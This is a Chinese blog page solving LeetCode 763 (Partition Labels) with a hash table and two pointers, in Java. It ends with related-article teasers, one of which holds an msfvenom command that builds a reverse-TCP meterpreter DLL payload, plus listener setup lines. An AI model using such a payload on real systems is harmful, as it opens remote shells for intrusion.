【Hot100】LeetCode—763. 划分字母区间

news2024/11/15 17:18:46

目录

  • 1- 思路
    • 哈希表 + 双指针
  • 2- 实现
    • 763. 划分字母区间——题解思路
  • 3- ACM 实现


  • 原题链接:763. 划分字母区间

1- 思路

哈希表 + 双指针

  • ① 找到元素最远的出现位置:哈希表
  • ② 根据最远出现位置,判断区间的分界线:双指针

实现

  • 1- 定义一个哈希数组,判断最远出现的位置: int[] hash = new int [27]
    • 遍历字符串,记录最远出现位置
  • 2- 分割点
    • 利用数组,收集结果
    • int left = 0; int right = 0; 记录左右区间范围
    • right = Math.max(right,hash[s[i] - 'a');
      • if( i == right ) { res.push(right - left +1); left = i+1; }

思路

  • ① 先通过遍历字符串,统计最远出现位置
  • ② 定义 left 和 right 指针,每次依据 当前位置的最远出现位置,更新 right = Math.max(right,hash[s[i] - 'a');
    • 如果 i == right ,此时收集结果

2- 实现

763. 划分字母区间——题解思路

在这里插入图片描述

class Solution {
    public List<Integer> partitionLabels(String s) {
        int[] hash = new int[26];

        for(int i = 0 ; i < s.length() ; i++){
            hash[s.charAt(i) - 'a'] = i;
        }
        List<Integer> res = new ArrayList<>();

        // 定义 left 和 right 判断最远位置
        int left = 0;
        int right = 0;
        for(int i = 0 ; i < s.length() ; i++){
            right = Math.max(right,hash[s.charAt(i)-'a']);
            if(i==right){
                res.add(right-left+1);
                left = right+1;
            }
        }
        return res;
    }
}

3- ACM 实现

public class maxInterval {


    public static List<Integer> maxL (String str){

        // 哈希表
        int len = str.length();
        int[] hash = new int[26];

        for(int i = 0 ; i <  len;i++){
            hash[str.charAt(i) -'a'] = i;
        }


        // 2. 找到最远区间分割  双指针
        List<Integer> res = new ArrayList<>();
        int left = 0;
        int right = 0;
        for(int i = 0 ; i < len;i++ ){
            right = Math.max(right,hash[str.charAt(i)-'a']);
            if(i==right){
                res.add(right-left+1);
                left = right+1;
            }
        }
        return res;
    }
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        String input = sc.nextLine();
        System.out.println("结果是"+maxL(input).toString());
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115474.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java类和对象(详解)

前言&#xff1a; Java中类和对象是比较重要的一章&#xff0c;这一章可以让我们深刻认识到Java语言的"精妙之处"&#xff0c;它不像C语言那么"细"&#xff0c;也不想其他语言封装的那么"保守"。 游刃有余的解决一系列面向对象问题。 面向对象的…

数据集 视线估计-unityeyes-合成数据 >> DataBall

视线估计-合成数据-三维建模-人工智能unityeyes 人眼视线估计仿真合成数据集 inproceedings{wood2016_etra, title {Learning an Appearance-Based Gaze Estimator from One Million Synthesised Images}, author {Wood, Erroll and Baltru{\v{s}}aitis, Tadas and Morency,…

如何使div居中?CSS居中终极指南

前言 长期以来&#xff0c;如何在父元素中居中对齐一个元素&#xff0c;一直是一个让人头疼的问题&#xff0c;随着 CSS 的发展&#xff0c;越来越多的工具可以用来解决这个难题&#xff0c;五花八门的招式一大堆&#xff0c;这篇博客&#xff0c;旨在帮助你理解不同的居中方法…

【电子通识】半导体工艺——保护晶圆表面的氧化工艺

在文章【电子通识】半导体工艺——晶圆制造中我们讲到晶圆的一些基础术语和晶圆制造主要步骤&#xff1a;制造锭(Ingot)、锭切割(Wafer Slicing)、晶圆表面抛光(Lapping&Polishing)。 那么其实当晶圆暴露在大气中或化学物质中的氧气时就会形成氧化膜。这与铁(Fe)暴露在大气…

MySQL record 02 part

查看已建数据库的基本信息&#xff1a; show CREATE DATABASE mydb; 注意&#xff0c;是DATABASE 不是 DATABASEs&#xff0c; 命令成功执行后&#xff0c;回显的信息有&#xff1a; CREATE DATABASE mydb /*!40100 DEFAULT CHARACTER SET utf8mb3 / /!80016 DEFAULT ENCRYPTIO…

基于Python+大数据爬虫+数据可视化大屏的耳机信息的爬取与分析平台设计和实现(2025最新优质项目-系统+源码+部署文档)

博主介绍&#xff1a;✌全网粉丝50W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HLM…

新手入门Python:Python类中自带的装饰器详解与应用

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 文章内容 📒📝 什么是装饰器?📝 常用装饰器详解📝 高级装饰器📝 综合应用示例⚓️ 相关链接 ⚓️📖 介绍 📖 在Python编程中,有一类特别的工具,它们可以改变或增强函数和方法的行为。这些工具被称为装饰器。对…

使用宝塔面板安装mrdoc

使用宝塔面板安装mrdoc 1、所需环境2、ubuntu系统安装3、宝塔面板安装4、NginxPHPMySQL安装5、python项目管理器安装6、 python版本安装7、mrdoc的部署7.1、下载项目源码7.2、新建python管理器项目 8、使用MySQL作为默认数据库8.1、安装mysqlclient插件8.2、配置数据库连接信息…

qt多线程的两种方法run和movetothread

qt多线程的有什么用&#xff1f; 将耗时长的操作丢入专属线程执行&#xff0c;这样就不会影响主线程的界面操作&#xff0c;操作完再用信号槽等的方式返回结果 1.界面和部件相关都必须在主界面运行&#xff0c;不要用子线程调用或者操作&#xff0c;会引起奇怪的bug&#xff…

推荐一款免费使用的电脑笔记软件,工作必备

今天为大家介绍一款开源的笔记软件——Beaver Notes&#xff08;海狸笔记&#xff09;。 海狸笔记&#xff08;Beaver Notes&#xff09;是一款注重隐私保护的免费、开源且无广告的笔记工具。它拥有一个干净且吸引人的用户界面&#xff0c;操作直观便捷&#xff0c;并且兼容 W…

验证码的作用,为什么要存在验证码?

背景 在现代网络应用中&#xff0c;验证码被广泛使用以实现人机识别和减轻服务器负担。常见的验证码为以下几类&#xff1a; 图形验证码&#xff1a;通过展示一个随机生成的图形&#xff0c;要求用户输入对应的文字或数字来判断用户是否为真实用户。滑块验证码&#xff1a;用…

基于VS2022+Qt5+C++的网络调试助手开发

目录 一、前言 二、环境准备以及项目创建 三、 项目实现 1.ui界面设计 2.添加NetWork模块 QTcpSocket 和 QTcpServer QUdpSocket 3.主要功能实现 ①IP扫描 ②端口设置 ③数据接收 ④数据发送 ⑤日志保存 4.打包成exe 四、效果展示 五、总结 一、前言 我之前用…

Mysql高级篇(中)——索引介绍

Mysql高级篇&#xff08;中&#xff09;——索引介绍 一、索引本质二、索引优缺点三、索引分类&#xff08;1&#xff09;按数据结构分类&#xff08;2&#xff09;按功能分类&#xff08;3&#xff09; 按存储引擎分类&#xff08;4&#xff09; 按存储方式分类&#xff08;5&…

通信工程学习:什么是DB数据库、DBS数据库系统、DBMS数据库管理系统

DB数据库、DBS数据库系统、DBMS数据库管理系统 在计算机科学中&#xff0c;数据库&#xff08;DB&#xff09;、数据库系统&#xff08;DBS&#xff09;和数据库管理系统&#xff08;DBMS&#xff09;是构建和管理数据存储与检索系统的核心概念。下面将分别详细解释这三个术语。…

基于人工智能的智能家居语音控制系统

目录 引言项目背景环境准备 硬件要求软件安装与配置系统设计 系统架构关键技术代码示例 数据预处理模型训练模型预测应用场景结论 1. 引言 随着物联网&#xff08;IoT&#xff09;和人工智能技术的发展&#xff0c;智能家居语音控制系统已经成为现代家庭的一部分。通过语音控…

Spring入门案例创建流程

Spring详细创建流程如下 1&#xff09;创建Maven工程 打开idea主界面 new Project > Name > Language > Maven > JDK > GroupId > Create Src > 鼠标右键>Delete 创建module 鼠标右键spring-demo > new > Module new Module > Name > L…

RocksDB简介

一、RocksDB是什么 常见的数据库如 Redis Mysql Mongo 可以单独提供网络服务RocksDB提供存储服务,是一个嵌入式KV存储引擎 Rocksdb没有server code,用户需要自己实现server的部分来得到c-s架构的数据库。二、RocksDB的诞生 基于flash存储和ssd普及,网络latency在query worklo…

WEB渗透权限维持篇-DLL注入\劫持

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

MFC工控项目实例之十一板卡测试信号输入界面

承接专栏《MFC工控项目实例之十添加系统测试对话框》 相关代码 1、在BoardTest.h文件中添加代码 class CBoardTest : public CDialog { // Construction public:CBoardTest(CWnd* pParent NULL); // standard constructorCButtonST m_btnStart[16];CWinThread* pThread…

网络编程入门概念篇

1.网络编程-概念&#xff08;套接字编程&#xff09; 网络体系结构 网络体系结构指的是网络的层次结构和每一层所使用的协议的集合 实现网络传输的功能非常繁杂&#xff0c;所以采用了分而治之的设计方法&#xff0c;把网络的功能划分为不同的模块&#xff0c;以分层的形式有…